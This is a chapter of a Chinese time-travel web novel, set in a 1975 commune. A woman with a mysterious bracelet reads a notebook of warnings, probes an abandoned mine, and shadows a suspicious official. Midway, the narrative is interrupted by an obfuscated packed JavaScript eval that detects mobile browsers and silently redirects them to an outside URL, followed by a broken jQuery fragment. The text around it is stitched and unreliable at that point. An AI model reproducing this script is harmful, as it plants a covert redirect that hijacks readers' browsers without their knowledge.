腊月二十六，凌晨两点。


    林晚照从空间里挣脱出来时，浑身已经被冷汗浸透。她大口喘着气，像溺水的人刚浮出水面，指尖还残留着被裂缝吞噬时那种刺骨的冰冷。意识回到身体的那一刻，她听见自己的心跳声，沉重，急促，在寂静的冬夜里像擂鼓。


    她坐在床上，黑暗中只有窗外透进来的微光。同屋的王晓芬和李秀英睡得很沉，呼吸声均匀绵长。刘翠翠那边有翻身的窸窣声，但很快又平静了。


    一切如常。仿佛刚才在空间里发生的一切——那张从裂缝中浮现的脸，那个呼喊她编号的声音，那股几乎将她意识撕碎的吸力——都只是一场过于逼真的噩梦。


    但手腕上的银镯在发烫。不是之前的温热，是烫，烫得皮肤刺痛。她撩起袖子，借着微光看见镯子内圈的纹路正泛着暗红色的光，像烧红的铁条，在黑暗中勾勒出诡异的图案。


    图案在变化。那些她曾以为是龙凤的纹路，此刻正缓缓蠕动、重组，最后凝聚成一行清晰的汉字：


    剩余时间：723天17小时42分


    倒计时。


    林晚照盯着那行字，手指微微发抖。723天，差不多就是两年。郑卫国说的“核心任务时限”是真的。那个让她存活到1977年底的任务，那个关乎她能否在这个时代继续存在的任务，正在一秒一秒地流逝。


    她闭上眼睛，深吸一口气，再缓缓吐出。白雾在冰冷的空气里散开，很快消失。


    不能慌。她对自己说。越是这种时候，越不能慌。


    她轻手轻脚地起身，从枕头下摸出那个笔记本——陈铁柱交给她的，自称是“未来的她”留下的笔记本。牛皮纸封面在黑暗中泛着粗糙的质感。她没有立刻打开，而是先走到窗边，掀起一角窗帘。


    外面还在下雪。细密的雪粒子在夜风里打着旋，无声地落在院子里，落在井台上，落在远处养猪场新砌的砖墙上。墙已经有一人高了，在雪夜里像一道沉默的黑色剪影。


    那是她的战场。也是她的希望。


    她回到床边，点亮煤油灯。灯芯拧到最小，只发出豆大的光，勉强能照亮膝盖上方寸之地。她翻开笔记本。


    扉页之后的第一页，不再是那句关于“真正的037号”的警告，而是一段详细的记录：


    1975年12月29日凌晨，空间裂缝发生第二次异常波动。波动源头已锁定：时空坐标1984年7月，深圳。信息泄漏内容：关于价格双轨制的内部讨论纪要。警告：该信息提前泄露可能引发历史进程偏移，偏移率预估0.7%。建议立即采取隔离措施。


    林晚照盯着“1984年”和“深圳”这两个词，脑子里嗡嗡作响。


    1984年，深圳。那是改革开放的桥头堡，是无数人命运的转折点。而价格双轨制——她记得这个名词，那是计划经济向市场经济过渡时期特有的现象，一批人因此暴富，也引发了许多问题。


    如果这个信息在1975年泄露出去，会发生什么？有人会提前布局？会改变某些人的命运？会……影响历史的走向？


    她继续往后翻。


    第二页是一张手绘的地图。画得很粗糙，但能辨认出是红星公社及周边地区。地图上有三个地方被红笔圈了出来：一个是养猪场的位置，一个是后山那个废弃的矿井，还有一个是……县招待所。


    每个红圈旁边都有注释。


    养猪场旁写着：观测点074号锚定位置。已稳定。


    废弃矿井：疑似时空薄弱点。需进一步探查。


    县招待所：信号干扰源所在地。危险等级：高。


    信号干扰源？林晚照皱起眉。是指郑卫国？还是别的什么？


    她翻到第三页。这一页的内容让她呼吸一滞。


    已知敌对势力：


    1. 代号“守夜人”（已确认成员：周明远）。任务：监视并清除异常时空波动。


    2. 代号“捕猎者”（身份未知）。任务：捕捉并利用观测员能力。


    3. 代号“清扫者”（身份未知）。任务：抹除观测痕迹，维持历史“纯净”。


    注：“清扫者”可能已渗透至地方权力机构。县革委会调查组张姓组长嫌疑度：65%。


    张组长。那个审讯她的张组长。


    林晚照的指尖有些发凉。如果笔记本的记录是真的，那么所谓的“调查”根本不是查她的问题，而是“清扫程序”的一部分——借合规的名义，将她和她所做的一切从历史中抹去。


    她继续往下看。


    生存建议：


    1. 在找到“真正的037号”之前，不要相信任何自称观测员的人。


    2. 空间裂缝的异常是双向的。你能听见未来的声音，未来的人也可能通过裂缝感知到你。谨慎使用。


    3. 核心任务必须完成，这是你存在的唯一依据。但完成任务的方法可以……灵活。


    最后这个词下面划了道横线，笔迹很深，几乎要划破纸面。


    林晚照合上笔记本，靠在墙上。煤油灯的光在她脸上跳跃，投出明明暗暗的阴影。她的脑子里信息过载，像一团乱麻。


    但有一点很清楚：她不能坐以待毙。


    她重新翻开笔记本，翻到最后一页。这一页是空白的，但在煤油灯的光线下，能看见纸张上有浅浅的压痕——是上一页写字时留下的印子。


    她拿起钢笔，在空白页上写下：


    1975年12月29日凌晨，阅读笔记。确认以下信息：


    1. 倒计时已激活。


    2. 至少存在三股敌对势力。


    3. 空间裂缝可能成为突破口。


    写到这里，她停顿了一下，笔尖悬在纸面上。然后继续：


    下一步行动：


    1. 继续推进养猪场建设，这是根本。


    2. 探查废弃矿井，寻找时空薄弱点。


    3. 接触张组长，确认其真实立场。


    4. 寻找“真正的037号”。


    写完，她放下笔，看着纸上的字迹。墨迹在煤油灯下泛着湿润的光，慢慢干涸。


    窗外的雪似乎小了些。天边泛起一丝极淡的灰白，像墨汁里滴进了一滴水，缓慢地晕开。


    凌晨四点。离天亮还有两个小时。


    林晚照吹灭煤油灯，躺回床上。但她睡不着，睁着眼睛看着蚊帐顶。蚊帐是旧的，有几个破洞，能看到屋顶黑黢黢的椽子。


    她在脑子里一遍遍复盘。从穿越到现在，七个月时间。从最初的生存挣扎，到现在的多方博弈。她走的每一步，都像是在走钢丝，下面就是万丈深渊。


    但奇怪的是，她并不害怕。或者说，害怕已经被更深的东西取代——一种近乎本能的求生欲，一种“我一定要活下去”的执念。


    这种执念支撑着她走到现在。也会支撑她继续走下去。


    手腕上的银镯已经恢复了常温。她摸了摸，镯子光滑温润，仿佛刚才的灼热只是幻觉。


    但倒计时还在。她能感觉到，某种无形的枷锁已经套在了她的脖子上，正在一寸寸收紧。


    她必须挣脱。


    天快亮时，她终于睡着了。但睡得很浅，梦里全是裂缝里的声音和画面——1984年的深圳街道，穿着喇叭裤的年轻人，贴满大街小巷的招商广告，还有一栋栋正在拔地而起的高楼……


    然后是一个声音，很清晰，像是贴在她耳边说的：


    “074，快跑……”


    她猛地惊醒。


    天已经亮了。窗外传来扫雪的声音，还有鸡鸣声，狗吠声，新的一天开始了。


    王晓芬正在穿衣服，看见她坐起来，关切地问：“晚照，你脸色好差，是不是没睡好？”


    “做了个噩梦。”林晚照揉了揉太阳穴，“没事。”


    她起身穿好衣服，洗漱。井水刺骨，泼在脸上，瞬间清醒。她看着水盆里自己的倒影——眼睛下有淡淡的青黑，但眼神很亮，亮得有些锐利。


    吃过早饭，她去了养猪场。


    雪后的工地银装素裹，新砌的砖墙盖着一层薄雪，像撒了层糖霜。陈大牛带着人已经在干活了，瓦刀敲击砖面的声音清脆而有节奏。


    “林同志来了！”王秀兰眼尖，先看见她，放下手里的活跑过来，“你没事吧？昨天听说你被县里带走了，大家都担心坏了。”


    “没事，问了几句话就回来了。”林晚照笑了笑，看向工地，“进度怎么样？”


    “好着呢！”陈大牛走过来，脸上带着笑，“昨天又砌了一尺高。照这个速度，再有个三四天就能封顶了。”


    林晚照点点头，绕着墙走了一圈。墙砌得很扎实，灰缝均匀，墙角笔直。她伸手摸了摸砖面，冰冷的，但结实。


    “陈叔，今天能不能抽出两个人？”她问。


    “能啊，干啥用？”


    “后山那个废弃矿井，我想去看看。”林晚照说，“听说那儿以前出过煤，我想看看能不能搞点煤渣回来，掺在猪圈垫料里，能杀菌。”


    这是她临时想的借口。真正的原因，是笔记本上那个“时空薄弱点”的标注。


    陈大牛想了想：“行，让二狗和铁蛋跟你去。那俩小子机灵，腿脚也快。”


    “谢谢陈叔。”


    二狗和铁蛋都是十八九岁的小伙子，听说能跟林晚照去后山，都很兴奋。两人拿了铁锹和麻绳，兴冲冲地走在前面。


    后山离村子有三里地，路不好走，雪又厚，深一脚浅一脚的。林晚照走得很小心，眼睛却一直在观察四周。


    山是秃山，没什么树，只有些枯草和灌木。冬天更是荒凉，满眼都是灰白。


    废弃矿井在半山腰，洞口被几块大石头堵着，石头上长满了苔藓和枯藤。旁边立着个木牌子，字迹已经模糊不清，只能勉强认出“危险”、“勿入”几个字。


    “就是这儿了。”二狗指着洞口，“听我爷说，这矿是五八年大炼钢铁时开的，干了两年就废了，说是煤质不好。后来塌过一次，砸死过人，就封了。”


    林晚照走近洞口。石头堵得很严实，缝隙里塞着枯草和泥土。她伸手摸了摸石头，冰凉，粗糙。


    手腕上的银镯忽然传来一阵轻微的震动。


    很轻，像手机静音时的震动。但在这个年代，在这个地方，这种震动显得异常诡异。


    她不动声色地收回手，对二狗和铁蛋说：“你们在附近看看，有没有散落的煤渣。我研究研究这洞口。”


    “行嘞！”


    两人提着铁锹往旁边去了。林晚照等他们走远，再次靠近洞口。这次她把手轻轻按在石头上。


    银镯震得更明显了。


    不是错觉。这个矿井里，确实有什么东西在和她的镯子产生感应。


    她闭上眼睛，尝试将意识探入空间。这一次，她没有进入黑土地，而是将全部注意力集中在裂缝上。


    裂缝依然在那里，但今天的状态有些不同。那些嗡鸣声减弱了，取而代之的是一种……呼吸声。很轻，很缓，一起一伏，像是某个巨大的生命体在沉睡。


    而在裂缝的边缘，她再次看见了那张脸。


    这次更清晰了些。是个女人，三十多岁，短发，脸色苍白，眼睛很亮。她的嘴唇在动，像是在说什么，但没有声音。


    林晚照集中精神，试图“听”清。


    断断续续的词句飘进她的意识：


    “……矿井……通道……小心……他们在下面……”


    下面？矿井下面？


    她还想再听，但呼吸声突然加重，裂缝猛地扩张，一股强大的吸力再次传来！


    她立刻切断意识链接，睁开眼睛。冷汗已经从额角滑下。


    “林同志！林同志！”二狗的喊声从远处传来。


    林晚照转过身，看见二狗和铁蛋提着半麻袋煤渣跑过来，满脸兴奋。


    “找到煤渣了！还挺多的！”二狗把麻袋放下，“够用不？”


    “够了。”林晚照平复了一下呼吸，“辛苦你们了。咱们回去吧。”


    回村的路上，她一直没说话。脑子里全是裂缝里那张脸，和那些断断续续的警告。


    矿井是通道？谁在下面？是敌是友？


    还有那个倒计时，723天，不，现在是722天了。


    时间不等人。


    回到养猪场，她把煤渣交给陈大牛，嘱咐他如何使用。然后找到陈铁柱。


    “队长，下午我想去趟县里。”


    “又去？不是刚回来吗？”


    “有点事要办。”林晚照没细说，“顺便，我想见见张组长。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872186|191601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陈铁柱愣了：“见他干啥？他昨天还想整你呢！”


    “有些话，得当面问清楚。”林晚照说，“你放心，我有分寸。”


    陈铁柱盯着她看了几秒，最后叹了口气：“行吧。我让公社的拖拉机送你。”


    “谢谢队长。”


    下午两点，拖拉机再次驶向县城。雪已经停了，但路更滑，车开得很慢。


    林晚照坐在车斗里，怀里揣着那个笔记本。她一遍遍回忆笔记里的内容，试图找出更多线索。


    “真正的037号”会在哪里？如果郑卫国是假的，那真的037号是什么身份？会不会也在红星公社？或者就在她身边？


    还有那个“捕猎者”和“清扫者”。他们是一个人，还是一个组织？他们的目的是什么？


    问题太多，答案太少。


    拖拉机进城时，已经下午三点了。林晚照让司机在县革委会附近等她，自己一个人走了过去。


    她没直接进去，而是在对面的国营饭店门口站了一会儿。饭店门口挂着棉门帘，里面传出说话声和碗筷碰撞声。玻璃窗上蒙着一层水汽，看不清里面。


    她看见张组长从革委会大门出来。他一个人，没穿大衣，只穿着中山装，手里拎着个黑色的公文包。他左右看了看，然后朝着东边的巷子走去。


    林晚照跟了上去。


    巷子很窄，两边是居民区的院墙。雪被踩实了，很滑。她走得很小心，和张组长保持着二十米左右的距离。


    张组长走得很快，似乎有什么急事。他拐了两个弯，最后在一扇小门前停下。门是木质的，漆已经斑驳。他敲了敲门，三长两短。


    门开了条缝，他闪身进去。


    林晚照等在巷口。等了大概十分钟，门又开了。出来的不只是张组长，还有一个人。


    那人穿着军大衣，戴着棉帽，帽檐压得很低，看不清脸。但从身形看，是个男人，个子很高。


    两人在门口说了几句话，声音很低，听不清。然后张组长从公文包里拿出个东西，递给那个男人。是个信封，厚厚的。


    男人接过信封，揣进怀里，转身走了。他走的方向和林晚照藏身的地方相反。


    张组长站在原地，点了支烟。他抽烟的姿势很特别，深吸一口，停顿很久才吐出来。烟雾在寒冷的空气里凝成一团，久久不散。


    林晚照的心跳得很快。她不确定自己看到了什么，但直觉告诉她，这不是普通的公务往来。


    张组长抽完烟，把烟头踩灭，也转身走了。这次他走的是来时的路。


    林晚照等他走远，才从小巷里出来。她走到那扇小门前，门上没有门牌，没有标识，就是普普通通的一扇门。


    她试着推了推，门锁着。


    她退后几步，抬头看。这是栋两层小楼，砖结构，窗户很小，装着铁栏杆。看起来像是个仓库，或者办公室。


    她记下位置，转身离开。


    回程的拖拉机上，她一直在想那个穿军大衣的男人。他是谁？张组长给他的是什么？钱？文件？还是别的什么？


    以及，张组长到底是不是“清扫者”？


    这一切，像个巨大的谜团，而她手里只有几块碎片。


    回到红星公社时，天已经黑了。养猪场那边还亮着灯，是马灯的光，昏黄昏黄的。陈大牛带着人还在干活，说要趁着晚上把北墙砌完。


    林晚照走过去，看见墙又高了一截。砖块垒得整整齐齐，灰缝抹得平平整整。马灯的光照在墙上，投出温暖的橘黄色。


    “林同志回来了？”陈大牛看见她，放下瓦刀，“县里的事办完了？”


    “办完了。”林晚照点点头，“陈叔，你们辛苦了。”


    “辛苦啥，这是咱自己的事。”陈大牛憨厚地笑笑，“林同志，有句话我不知道该不该说……”


    “您说。”


    陈大牛搓了搓手，压低声音：“今天下午，公社来了个人，说是省城报社的记者，要来采访养猪场的事。王书记陪着来的，在工地转了一圈，问了不少问题。”


    记者？林晚照的心提了起来：“问了什么？”


    “问这项目是谁提的，钱哪来的，以后打算咋发展。”陈大牛说，“还问了你的事，问你是啥样的人，在村里口碑咋样。”


    “您怎么说的？”


    “我能咋说，实话实说呗。”陈大牛挺直腰板，“我说林同志是个能人，有文化，肯吃苦，带着大家干实事。我说这养猪场要不是她，根本搞不起来。”


    林晚照心里一暖：“谢谢陈叔。”


    “谢啥，本来就是实话。”陈大牛摆摆手，“不过晚照啊，那记者……我总觉得有点不对劲。”


    “哪里不对劲？”


    “说不上来。”陈大牛皱着眉，“就是感觉，他问得太细了，细得不像是来写报道的。而且他看人的眼神……怎么说呢，像在打量啥东西，冷冰冰的。”


    林晚照的心沉了沉。


    又一个来“观察”的人？


    “他叫什么名字？什么时候走的？”


    “叫李明，说是《省城日报》的。下午四点走的，说改天再来。”陈大牛说，“王书记对他挺客气的，走的时候还让文书送了包茶叶。”


    李明。《省城日报》。


    林晚照记住了这个名字。


    她跟陈大牛又说了几句，然后回了知青点。晚饭是玉米粥和咸菜，她没什么胃口，只喝了半碗。


    晚上，她再次进入空间。


    裂缝还在，呼吸声还在，那张脸也还在。但今天，那张脸的眼睛睁开了。


    那是一双很特别的眼睛，瞳孔深处有细碎的银光，像藏着星星。那双眼睛正看着她，眼神复杂——有关切，有警告，还有……悲哀？


    林晚照鼓起勇气，用意识发出询问：“你是谁？”


    没有回答。但裂缝的边缘，缓缓浮现出一行字：


    我是037号。真正的037号。


    字迹在黑暗中闪着微光，停留了三秒，然后消散。


    林晚照愣在原地。


    真正的037号，在裂缝里？


    而在裂缝的另一端，那个自称037号的女人，正用那双藏着星光的眼睛，无声地说着什么。


    口型很清晰，是三个字：


    快逃走。